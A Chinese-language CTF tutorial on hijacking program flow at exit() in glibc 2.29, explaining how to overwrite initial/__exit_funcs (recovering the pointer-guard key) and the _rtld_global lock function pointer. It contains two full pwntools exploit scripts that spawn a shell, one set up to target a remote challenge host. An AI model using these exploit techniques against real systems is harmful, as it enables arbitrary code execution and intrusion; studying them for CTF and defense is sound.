什么?我直接exit退出你都要攻击我?
改写initial或__exit_funcs
实验环境glibc-2.29
原理
在调用exit的过程中,进入__run_exit_handlers
函数有这样一段汇编代码
对应我找到的glibc-2.29源码中
glibc/stdlib/exit.c line70
while (cur->idx > 0)
{
struct exit_function *const f = &cur->fns[--cur->idx];
const uint64_t new_exitfn_called = __new_exitfn_called;
/* Unlock the list while we call a foreign function. */
__libc_lock_unlock (__exit_funcs_lock);
switch (f->flavor)
{
void (*atfct) (void);
void (*onfct) (int status, void *arg);
void (*cxafct) (void *arg, int status);
...
}
...
}
[rax+0x18]也就是[initial+0x18]处的数据经过循环右移0x11位后与fs:[0x30]异或处理得到函数地址,再将[initial+0x20]处的数据作为第一个参数,然后调用这个处理后得到的函数
逻辑左移时,最高位(符号位)丢失,最低位补0;
逻辑右移时,最高位(符号位)补0,最低位丢失;
算术左移时,最高位(符号位)不变,右边补0;
算术右移时,最高位(符号位)不变,左边补符号位;
循环左移时,将最高位重新放置最低位
循环右移时,将最低位重新放置最高位
而initial处的数据为
这个处理后得到的函数就是_dl_fini
函数
但是由于并不能从gdb中查看像fs这样的寄存器的内容(而且应该也是随机的),并且inital所在的段是可写的
可以通过任意地址读泄露[initial+0x18]的内容,经过循环右移后再与_dl_fini
函数的地址异或,就可以得到fs:[0x30]
之后通过任意地址写将[initial+0x18]的内容改写为system函数经过处理后的数据,再将[initial+0x20]的内容改写为”/bin/sh”的地址,就可以完成调用getshell了
在我找到的glibc-2.29源码中
可以看到有一个指向initial的指针*__exit_funcs
glibc/stdlib/cxa_atexit.c line76
static struct exit_function_list initial;
struct exit_function_list *__exit_funcs = &initial;
而在exit
函数调用__run_exit_handlers
函数的时候也是通过__exit_funcs
来将initial作为参数传递的
glibc/stdlib/exit.c line136
void
exit (int status)
{
__run_exit_handlers (status, &__exit_funcs, true, true);
}
并且__exit_funcs
所在的段也是可写的
所以除了可以修改initial
以外,也可以将__exit_funcs
覆盖为一个伪造的地址,在这个地址上伪造initial的结构,控制程序执行system函数
例题
程序逻辑就是给一次任意地址读和任意地址写,在任意地址写的时候是将一个地址修改为堆地址,可以往这个chunk里写入数据
所以可以在chunk中伪造initial
结构,将__exit_funcs
覆盖到这个堆地址
exp:
#!/usr/bin/python
from pwn import *
import sys
context.log_level = 'debug'
context.arch='amd64'
local=1
binary_name='2+1'
libc_name='libc.so.6'
if local:
p=process("./"+binary_name)
libc=ELF("./"+libc_name)
else:
p=remote('',)
e=ELF("./"+binary_name)
libc=ELF("./"+libc_name)
def z(a=''):
if local:
gdb.attach(p,a)
if a=='':
raw_input
else:
pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sa=lambda a,b:p.sendafter(a,b)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
if(context.arch=='i386'):
return u32(p.recv(4))
else :
return u64(p.recv(6).ljust(8,'\x00'))
def ROR(i,index):
tmp = bin(i)[2:].rjust(64,"0")
for _ in range(index):
tmp = tmp[-1] + tmp[:-1]
return int(tmp, 2)
def ROL(i,index):
tmp = bin(i)[2:].rjust(64, "0")
for _ in range(index):
tmp = tmp[1:] + tmp[0]
return int(tmp, 2)
ru('Gift: ')
libc_base = int(p.recvline()[:-1],16)-libc.sym['alarm']
print(hex(libc_base))
initial = libc_base+0x3c5c40
ptr = initial + 0x18
dl_fini=libc_base+0x3daaf0
sa('where to read?:',p64(ptr))
ru('data: ')
encode = u64(p.recv(8))
encode_1 = ROR(encode,0x11)
key = dl_fini ^ encode_1
print(hex(key))
exit_funcs=libc_base+0x3c45f8
system = libc_base + libc.sym['system']
binsh = libc_base + libc.search(b'/bin/sh').__next__()
encode_system = key ^ system
encode_system = ROL(encode_system,0x11)
sa('where to write?:',p64(exit_funcs))
sla('msg:',b'a'*0x8+p64(1)+p64(4)+p64(encode_system)+p64(binsh))
ia()
改写__rtld_lock_unlock_recursive
一般也叫exit_hook
实验环境glibc-2.29
原理
在__run_exit_handlers
函数正常调用_dl_fini
函数后,_dl_fini
函数又会通过_rtld_lock_unlock_recursive
宏定义来调用_rtld_global
结构体中的函数指针
在exit()中执行流程为
exit()->__run_exit_handlers->_dl_fini->__rtld_lock_unlock_recursive
由于
__rtld_lock_unlock_recursive
存放在结构体空间,为可读可写,那么如果可以修改__rtld_lock_unlock_recursive
,就可以在调用exit()时劫持程序流
在gdb中输入 p _rtld_global
命令可以完整的看到该结构体
其中rtld_lock_default_lock_recursive
和rtld_lock_default_unlock_recursive
两个是都会被调用的函数指针
而该结构体所在的段也是具有可写权限的
由于不能控制参数,所以可以通过任意地址写将其中一个函数指针改写为one_gadget完成利用
例题
exp:
#!/usr/bin/python
from pwn import *
import sys
context.log_level = 'debug'
context.arch='amd64'
local=1
binary_name='sfs'
libc_name='libc.so.6'
if local:
p=process("./"+binary_name)
libc=ELF("./"+libc_name)
else:
p=remote('axb.d0g3.cn',20103)
e=ELF("./"+binary_name)
libc=ELF("./"+libc_name)
def z(a=''):
if local:
gdb.attach(p,a)
if a=='':
raw_input
else:
pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sa=lambda a,b:p.sendafter(a,b)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
if(context.arch=='i386'):
return u32(p.recv(4))
else :
return u64(p.recv(6).ljust(8,b'\x00'))
payload = '''
{
"name": "a",
"passwd": "b"
}
'''
payload = payload.replace('\n','')
def pwn():
z('b *main')
p.sendline(payload)
p.recvuntil('logger:')
p.recvuntil('logger:')
libc_base = leak_address()-0x3c4b78
print(hex(libc_base))
if libc_base < 0x7f0000000000:
return 0
exit_hook1=libc_base+0x8f9f48
exit_hook2=libc_base+0x8f9f50
one_gadget = libc_base+0xf0364
a = p64(one_gadget)[0]
p.send(p64(exit_hook1))
p.send(p8(a))
p.send(p64(exit_hook1+1))
a = p64(one_gadget)[1]
print(hex(one_gadget),p8(a))
p.send(p8(a))
p.send(p64(exit_hook1+2))
a = p64(one_gadget)[2]
print(hex(one_gadget),p8(a))
p.send(p8(a))
ia()
pwn()
参考资料